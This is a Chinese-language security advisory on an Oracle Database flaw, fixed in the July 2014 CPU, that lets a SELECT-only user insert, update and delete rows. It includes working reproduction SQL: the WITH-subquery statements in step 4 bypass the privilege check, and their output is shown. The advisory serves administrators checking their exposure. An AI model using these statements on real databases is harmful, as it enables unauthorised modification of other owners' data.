Oracle資料庫高危漏洞警告!
各位使用者,最近在互連網上暴露出一個Oracle的高危漏洞,利用該漏洞,僅有查詢許可權的使用者可以對資料進行增、刪、改操作,非常危險。該漏洞影響範圍非常廣泛,包括在國內最常見的11.2.0.3,11.2.0.4,12.1等版本。
該漏洞在2014年7月的CPU中被修正,但是如果使用者未應用該CPU,則漏洞仍然存在。強烈建議您檢查所有Oracle資料庫,確認是否存在該安全風險。
雲和恩墨在自己的測試環境中重現了該漏洞,雲和恩墨的測試環境包括11.2.0.3,11.2.0.4,12.1.0.1這5個版本。您也可以通過以下步驟,檢查資料庫是否存在該漏洞。
(註:以下步驟僅供參考,原則上不會對資料庫有任何影響,但是對於在生產環境中執行以下SQL可能產生的風險雲和恩墨不負有任何責任)
1.首先建立基本測試使用者,僅僅授予建立會話許可權
SQL> create user test_update identified by test_update;
User created.
SQL> grant create session to test_update;
Grant succeeded.
2.將表查詢許可權賦予使用者,注意很多產品環境中都存在類似設定
SQL> grant select on t to test_update;
Grant succeeded.
SQL> select count(*) from t;
COUNT(*)
----------
100
3.使用測試使用者串連,驗證普通的增、刪、改許可權被拒絕
SQL> conn test_update/test_update
Connected.
SQL> select * from enmo.t where rownum = 1;
ID
----------
1
SQL> update enmo.t set id = 1 where id = 1;
update enmo.t set id = 1 where id = 1
*
ERROR at line 1:
ORA-01031: insufficient privileges
4.在WITH語句中,許可權限制被完全繞過,增刪改許可權被獲得
SQL> update (with tmp as (select id from enmo.t) select id from tmp) set id = 0 where id = 1;
1 row updated.
SQL> commit;
Commit complete.
SQL> delete (with temp as (select * from enmo.t) select id from temp) where id = 2;
1 row deleted.
SQL> insert into (with temp as (select * from enmo.t) select * from temp) select 2 from enmo.t where id =3;
1 row created.
5.在Oracle的CPU中,2014年7月的CPU中修改了該問題
由於很多使用者不清楚CPU內容,並未應用,所以產生高危的影響。以下是應用該CPU之後,應有的許可權反應。
SQL> update (with tmp as (select id from enmo.t) select id from tmp) set id = 1 where id = 1;
update (with tmp as (select id from enmo.t) select id from tmp) set id = 1 where id = 1
*
ERROR at line 1:
ORA-01031: insufficient privileges
警告:由於很多使用者對CPU安全補丁關注不足,所以系統中可能存在此高危風險,建議使用者關注該漏洞,並及時採取相應舉措。與此有關的CVE號包括:CVE-2013-3751、CVE-2014-4236、CVE-2014-4237、CVE-2014-4245、CVE-2013-3774 .
相關資訊還可以參考Oracle的CPU頁面:
http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html